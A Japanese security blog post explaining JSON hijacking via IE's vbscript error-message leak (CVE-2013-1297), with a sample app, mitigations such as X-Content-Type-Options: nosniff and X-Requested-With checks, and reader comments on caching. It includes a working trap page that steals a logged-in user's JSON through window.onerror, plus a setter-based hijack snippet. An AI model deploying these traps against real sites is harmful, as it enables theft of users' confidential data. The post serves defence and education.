2013年5月20日月曜日

JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013-1297)に注意

はせがわようすけ氏のブログエントリ「機密情報を含むJSONには X-Content-Type-Options: nosniff をつけるべき」にて、巧妙な罠を仕掛けることにより、別ドメインのJSONデータをvbscriptとして読み込み、エラーハンドラ経由で機密情報を盗み出すという手法が紹介されました。これは、IEの脆弱性CVE-2013-1297を悪用したもので、MS13-037にて解消されていますが、MS13-037はIE6~IE8が対象であり、IE9以降では解消されていません。
また、MS13-037を適用いていないIE6~IE8の利用者もしばらく残ると考えられることから、この問題を詳しく説明致します。サイト側の対策の参考にして下さい。

問題の概要

JSON形式のデータは、通常はXMLHttpRequestオブジェクトにより読み出しますが、攻撃者が罠サイトを作成して、vbscriptを指定したscript要素により呼び出す攻撃です。JSONはvbscriptとして実行するとエラーになりますが、エラーハンドラに渡される引数としてJSONデータが入るため、通常は読み出せないJSON経由で秘密情報が漏洩します。

影響を受けるサイト

秘密情報を含むJSONを生成しているサイト。

影響

攻撃対象サイトにログイン中である利用者が、攻撃者の用意した罠サイトを閲覧すると、秘密情報を含むJSONデータが漏洩します。

説明のためのサンプルサイトの説明

攻撃手法を説明するためのサンプルアプリケーションを用意致しました。これは、秘密のメモを登録して、後から参照できるというものです。Cookieによるセッション管理をしていて、セッション変数に「秘密のメモ」が入っています。
まずは、入力フオーム(form.html)です。
<form action="upmemo.php" method="post">
秘密メモ<input name="memo"><br>
<input type="submit" value="登録">
</form>
これは簡単ですね。次に、投稿を受け付けるupmemo.phpのソースです。受け取ったメモをセッション変数に保存するだけです。
<?php
  session_start();
  $memo = isset($_POST['memo']) ? $_POST['memo'] : '';
  $_SESSION['memo'] = $memo;
?>
<body>
メモを受け付けました:<?php echo htmlspecialchars($memo, ENT_NOQUOTES, 'UTF-8'); ?><br>
<a href="display.html">メモを表示する</a>
</body>
メモを表示するdisplay.html。メモの実体はgetMemo.phpからJSONとして受け取って表示します。JavaScriptの処理はjQueryを用いています。
<html>
<head>
<script src="jquery-1.9.1.min.js"></script>
<script>
$(function() {
  $.ajax({
    dataType: 'json',
    url: 'getMemo.php'
  }).done(function(json) {
    $('#memo').text(json[0].memo);
  });
});
</script>
</head>
<body>
secret memo:<div id="memo"></div>
</body>
</html>
getMemo.phpのソースです。セッションに保存した「秘密のメモ」をJSON形式に変換して表示しています。
<?php
  header('Content-Type: application/json; charset=utf-8');
  session_start();
  $json['memo'] = $_SESSION['memo'];
  echo json_encode(array($json));
皆様がこのサンプルを動かせる環境を用意しました(http://ex.tokumaru.org/form.html)。実行例を以下に示します。秘密のメモとしては、「The king has donkey ears」(王様の耳はロバの耳)を用いました。


登録ボタンを押すと、以下のようにメモが受け付けられます。


「メモを表示する」というリンクをクリックすると、以下のようにメモが表示されます。


この際に、getMemo.phpが返すJSONは下記となります。
[{"memo":"The king has donkey ears"}]

JSONはなぜ安全か?

ここで、今回の攻撃手法を説明するための前提条件として、JSONを用いて秘密情報を交換できる理由を先に説明しましょう。
JSONを用いて秘密情報をやり取りできる根拠は以下によります。

  • ブラウザには同一生成元ポリシー(Same Origin Policy; SOP)、CORS(Cross-Origin Resource Sharing)という保護機能がある
  • アプリケーション側で、ブラウザ側保護機能を活用する呼び出し方をしている

以下、具体的な脅威2点を紹介する形で、JSONの安全性について説明します。

脅威1. クロスドメインのXMLHttpRequest

通常、JSONの呼び出しにはXMLHttpRequestオブジェクトを用います。古典的なブラウザでは、XMLHttpRequestでは同一オリジン(ホスト名、ポート番号、スキームが全て同じ)のリソースからのみ読み込みができるようになっていました。これが、同一生成元ポリシー(SOP)です。
しかし、クライアントサイドのマッシュアップをクロスドメインで行いたいというニーズか高いことから、クロスドメインでXMLHttpRequstが使えるように拡張されています。これをXMLHttpRequest Level 2(XHR2)と呼びますが、オブジェクトの名称はXMLHttpRequestのままです。このため、従来安全だったアプリケーションが急に脆弱になると困るため、安全性の互換性を保つ目的で、XHR2には以下の制限があります。これがCORS(Cross-Origin Resource Sharing)です。
  • XHR2では、異なるオリジンに対してもリクエストは送信される
  • ただし、デフォルトではリクエストにCookieは付かない
  • デフォルトでは、レスポンスが返ってきてもXHR2はそれを捨ててしまい、JavaScriptコンテンツでは受け取れない
  • レスポンスにAccess-Control-Allow-Originヘッダがあり、これに指定されたオリジンが呼び出し元とマッチした場合は、XHR2はレスポンスを返し、JavaScriptコンテンツが受け取ることができる
  • リクエストにCookieをつけたい場合は以下を全て行う
    • 呼び出し側がXHR2のwithCredentialsプロパティにtrueをセットする(これだけでリクエストにCookieがつく)
    • 呼び出された側はAccess-Control-Allow-Originヘッダにワイルドカードを指定できず、オリジンを明示的に指定する(http://example.jp 等)(これがないとレスポンスが受け取れない)
    • 呼び出された側はレスポンスヘッダAccess-Control-Allow-Credentials: trueを出力する(withCredentialsプロパティをtrueにした場合、これがないとレスポンスが受け取れない)
デフォルトではリクエストは送るけど、レスポンスは捨ててしまうという挙動を不自然に思う人がいるかもしれませんが、例えばJSONのリクエストをimg要素やiframe要素で呼び出す場合も、リクエストは送られるがレスポンスは受け取れない(JavaScriptからは読めない)ので、このあたりの従来の挙動とバランスをとり、リスクが増えないように考慮したのでしょう。

さて、少し話がそれますが、XHR2を用いてクロスドメインでJSONを呼び出すサンプルを紹介します。 まず、getMemo.phpの冒頭に2行追加して、getMemo2.phpとします。冒頭のみ紹介します。
<?php
  header('Access-Control-Allow-Origin: http://evil.dwd.jp'); // 追加
  header('Access-Control-Allow-Credentials: true');  // 追加

  header('Content-Type: application/json; charset=utf-8'); // 以下同じ
呼び出し側のdisplay.htmlのajaxメソッド呼び出し部分を以下のように修正します。
  $.ajax({
    dataType: 'json',
    url: 'http://ex.tokumaru.org/getMemo2.php',
    xhrFields: {
       withCredentials: true
    }
  }).done(function(json) {
この修正後のdisplay.htmlをhttp://evil.dwd.jp/display.htmlとして用意致しました。IE10か、IE以外のブラウザで参照下さい。先に、メモを登録することをお忘れなく。
さて、攻撃者の視点で考えますと、上記の改変のうち、呼び出し側は「攻撃者の罠」になるので、上記のようにすることは容易です。一方、データの提供側、すなわち攻撃対象は、攻撃者が改変することはできません。このため、(アプリケーションに脆弱性がない限り)データを想定外のドメインから読み出される心配はありません。

脅威2. script要素によるJSON読み込み

次に検討するのは、JSONをscript要素から読み出されることはないか、という脅威です。具体的には、以下のような罠を作れないかと言うことです。
<!-- JSONをscript要素のsrc属性で指定して読み出す -->
<script src="http://ex.tokumaru.org/getMemo.php"></script>
<script>
// 呼び出したJSONを読み出す仕掛け
</script>
結論としては、このような罠(JSONを読み出す仕掛け)を作ることできません。JSONはJavaScriptとしてバリッドではありますが、単なるデータであるため、動作としては何もしません。以下のようなオブジェクトがゴロンと転がっているだけであり、なにも作用がないので、読み出せないのです。
[{"memo":"The king has donkey ears"}]
このように書くと、読者の中には、「そうは言っても、JSONPと言うものがあって、script要素を使ってクロスドメインの呼び出しができるではないか」と思われる方もおられると思います。しかし、JSONPの場合は、データを取り出せるように、データ提供側で関数呼び出しの形にするわけです。
foo([{"memo":"The king has donkey ears"}]);
この関数fooをコールバック関数と呼び、呼び出し側が関数名を指定し、データ提供側がその関数を呼び出すようにJSONPデータを生成します。
すなわち、この場合でも、データ提供側がクロスドメインで呼び出させることを考慮しない限り、クロスドメインでJSONデータを読み出されることはありません。

古典的なJSONハイジャック

前述のように、JSONをscript要素で呼び出しても、呼び出し側のJavaScriptでJSONを読み出すことはできないはずなのですが、これを読み出すテクニックが考案されました。これをJSONハイジャックと言います。
具体的には、以下の2種類が知られています。
  • Arrayオブジェクトのコンストラクタを再定義する
  • setterを使う
以下は、setterを定義して、memoプロパティを読み出すスクリプトです。
Object.prototype.__defineSetter__("memo",
 function(v) {
  // ここで memo プロパティの値が v として読み出せる
 });
おいおい、話が違うではないか、と思われるかもしれませんが、現在では上記でJSONが読み出せるのはブラウザの脆弱性と考えられていて、モダンなブラウザでは対策済みです。しかし、古いAndroidの標準ブラウザでは、まだこの脆弱性が残っていて、アプリケーション側での対処が望ましい状況でした。詳しくは、私の以前のエントリを参照して下さい。

vbscriptとしてJSONを読み出す方法

ようやく本題です。古典的なJSONハイジャックはモダンなブラウザでは対策されていますが、IE限定ながら、script要素で読み込んだJSONデータを読み出す方法が発見されました。
それは、JSONをvbscriptと指定して読み込む方法です。JSONは通常はvbscriptとして実行できないのでエラーになりますが、そのエラーメッセージに、JSONの一部を含む場合があります。概念的なサンプルを以下に示します。
<script>
  window.onerror = function(e) {
    // エラーメッセージeにJSONの一部が入る場合がある
  }
</script>
<script src="http://ex.tokumaru.org/getMemo.php" language="vbscript"></script>
先のJSONオブジェクトをvbscriptとして読ませた場合のエラーメッセージは下記となります。
型が一致しません。: '{"memo":"The king has donkey ears"}'
ばっちり、JSONの中味が入っていますね。これを使って、第三者の秘密情報を盗み出す罠を作れます。罠の例を以下に示します。
<html>
<head>
<script>
  window.onerror = function(e) {
    if (e.match(/'({"memo".*)'$/)) {
      var msg = 'JSONハイジャックに成功:' + RegExp.$1;
    } else {
      var msg = 'JSONハイジャックに失敗:' + e;
    }
    var divmemo = document.getElementById('memo');
    var text = document.createTextNode(msg);
    divmemo.appendChild(text);
  }
</script>
</head>
<body>
これは罠サイトです(IE限定)
<div id="memo"></div>
<script src="http://ex.tokumaru.org/getMemo.php" language="vbscript"></script>
</body>
</html>
window.onerrorイベントで、前述のエラーを捕捉しています。この中で、エラーメッセージからJSON部分を切り出して、DOM操作で画面に表示しています。http://evil.dwd.jp/wana.htmlにデモを用意しました。

※注意
  • 罠を閲覧するのは、攻撃者ではなく、攻撃対象サイトの一般利用者です
  • 言うまでもないことですが、実際の罠サイトには「これは罠サイトです」と断ってはありません
  • 実際の罠サイトでは、盗んだ情報は画面に表示せず、攻撃者が管理するサーバーに送信します

MS13-037での修正

前述のように、上記攻撃が成立するのはIEのバグ(脆弱性)であり、実際IE6~IE8については、MS13-037で修正されています。具体的には、エラーハンドラに渡されるメッセージが単に「Script error」となるように修正されました(下図)。


しかし、MS13-037が適用されていないブラウザがしばらく残ることと、IE9以降では修正されていないことから、以下、アプリケーション側でとれる対策について検討します。

X-Content-Type-Options: nosniffヘッダを使う

はせがわようすけ氏が「機密情報を含むJSONには X-Content-Type-Options: nosniff をつけるべき」にて推奨している方法は、JSON生成時にレスポンスヘッダ X-Content-Type-Options: nosniff をつけるというものです。PHPを使う場合は、以下をプログラムの先頭付近に追加します。
header('X-Content-Type-Options: nosniff');
それでは、何故これをつけると脆弱性を防げるのでしょうか。IEのF12開発ツールを起動してエラーメッセージを見ると理由がよく分かります。
SEC7112: http://ex.tokumaru.org/getMemo.php からのスクリプトは、MIME の種類が一致しないため、ブロックされました 
vbscriptを読もうとしているのに、JSONのコンテンツヘッダがapplication/jsonであるため、MIMEタイプが違うとしてブロックされています。私はこれを見て、ある種の感動を覚えました。今までContent-Typeを散々無視してきたIEが、Content-Typeが違うとして読み込みをブロックするとは…
これは、ブラウザの挙動としてまったく正しいものですので、ぜひこのヘッダをつけるようにしましょう。ただし、既存のコンテンツがいいかげんなContent-Typeを返している場合にもエラーになるので、これを機に正しいContent-Typeを返すようにしましょう。私が調べた範囲では、JSONPを使う場合に、text/htmlとかapplication/jsonを返すと、同じエラーになります。JSONPはJSONではないのでapplication/jsonはおかしいです。application/javascriptなど、JavaScriptを示す正しいContent-Typeなら問題ありません。

X-Content-Type-Options: nosniff ヘッダはIE8以降で対応しているものですが、IE8で確認したところ、ブロックはされていません。IE9にて、このヘッダのチェックが、より厳密になったというところでしょうか。IE8もMS13-037の対象になった理由は、X-Content-Type-Options: nosniff ヘッダでは対応できないから、という可能性が高そうです。
他の問題にも備えて、IEを使う場合は、常にX-Content-Type-Options: nosniff ヘッダを出すことが望ましいでしょう。

参考:

その他の対策方法

vbscriptとしてJSONを読み込む手法が見つかる前からJSONハイジャッキングという攻撃手法はあり、以下のような対策が提唱されていました(1つ以上を実施)。
  1. POSTリクエストのみ受け付ける
  2. JavaScriptとして不完全なJSONを返す
  3. while(1);等を先頭に入れて、script要素として読み込むと無限ループにする
  4. X-Requested-Withヘッダのチェック
このうち、Gmailは、1.と2.を採用しています。すなわち、機密情報を含むJSONはPOSTによりリクエストするとともに、レスポンスの先頭に「)]}'」を入れています。XHRにより読み込む際にはPOSTの指定もできますし、先頭の「)]}'」は取り除いてからJSONとしてパースするのでしょう。facebookのJSONデータは、先頭に for(;;); が入っていて、script要素として読み込もうとして無限ループになります。ブラクラのような動作ですが、情報は漏洩しないことになります。
これらを実施すると、vbscriptとして読みこむ攻撃についても一応有効なようです。しかし、1. はRESTの原則に反すること、2.と3.はいかにもバッドノウハウ的であり美しくないことから、これらはあまり採用したくない「対策」です。
しかも、2. と3. は「たまたま防御できる」という感があります。例えば、Google流の防御文字列「)]}'」を反転させて「'}])」と言う文字列を使ったとします。生成されるJSONは以下のようになります。
'}])

[{"memo":"The king has donkey ears"}]
実はこれだと攻撃が成立してしまいます。'で始まる文字列はvbscriptのコメントとみなされるので無視され、結局防御には寄与しません。

徳丸としては、4.のX-Requested-Withヘッダをサーバー側でチェックするという方法をお勧めします。jQueryやprototype.jsを使ってAJAX/JSONのリクエストを送信すると、自動的に以下のリクエストヘッダがつきます。
X-Requested-With: XMLHttpRequest
これを積極的にチェックしようとするものです。script要素によるリクエストにはこのヘッダは付きません。このチェックにより、JSONハイジャックの他、JSONをブラウザに直接読ませてXSSを起こす攻撃や、JSONをUTF-7と指定してscript要素で読み込ませる攻撃も防ぐことができます。詳しくは、こちらを参照下さい。
IE6~IE8に対してはMS13-037にてIE側で対策されましたが、まだしばらくは脆弱性のあるIEを使い続けるユーザが残ると予想されること、従来からAndroidの古いバージョンにてJSONハイジャックができることから、この方法の採用をお勧めします。

あなたのJSONは大丈夫?

vbscriptのエラーメッセージからJSONデータ内の秘密情報が漏洩するかどうかは、JSONの構造に依存します。冒頭に紹介したマイクロソフトの脆弱性情報MS13-037では、「JSON 配列の情報漏えいの脆弱性」と説明されており、基本的にはJSONの配列の形式の場合に情報が漏れるようです。ただし、配列以外の形式についても、漏洩させるテクニックが出てくる可能性があるので、油断は禁物です。私としては、JSONの構造に関わらず、ここで紹介した対策をとることを推奨します。

まとめ

JSONをvbscriptとして読み込ませるテクニックによるJSONハイジャック(CVE-2013-1297)について説明しました。本当に影響があるかどうかは、JSONの構造にも依存しますが、他の攻撃による情報漏洩の可能性も考慮して以下の対策を推奨致します。
  • JSONを返すスクリプトの先頭でX-Requested-WithヘッダがXMLHttpRequestとなっていることを確認(ヘッダがあるという確認でも良い)
  • JSONを返すレスポンス(できれば全てのコンテンツ)に、X-Content-Type-Options: nosniff ヘッダをつける


[PR]
上記のような、ややこしいWebセキュリティについて深い基礎知識を身につけたい方には「めんどうくさいWebセキュリティ」をお勧めします。


「めんどうくさい本」に進む前に、Webセキュリティの基礎を身につけたい方には、拙著をお薦めします。

2 件のコメント:

  1. 以下のようなシナリオでブラウザのキャッシュが問題になることはありませんでしょうか?

    1. 正しいサイトで正しく JSON を GET し、ブラウザがそれをキャッシュする。
    2. 悪意のあるサイトの JSON 宛の script タグに、ブラウザが 1. のキャッシュを利用してしまう。

    もしそうだとすると、X-Requested-With などだけでは十分でなく、キャッシュのコントロールも必要になりそうです。

    返信削除
    返信
    1. shuheiさん、コメントありがとうございます。
      キャッシュの件は、少し調べてみたいと思います。このシナリオが有効であれば、この件だけでなく、色々影響が大きそうです。
      ただ、一般論として、秘密情報を配信する時はキャッシュを無効にしておけという話はありますので、そちらでカバーされている *はずの* 話題ではあると思います。

      削除

フォロワー

ブログ アーカイブ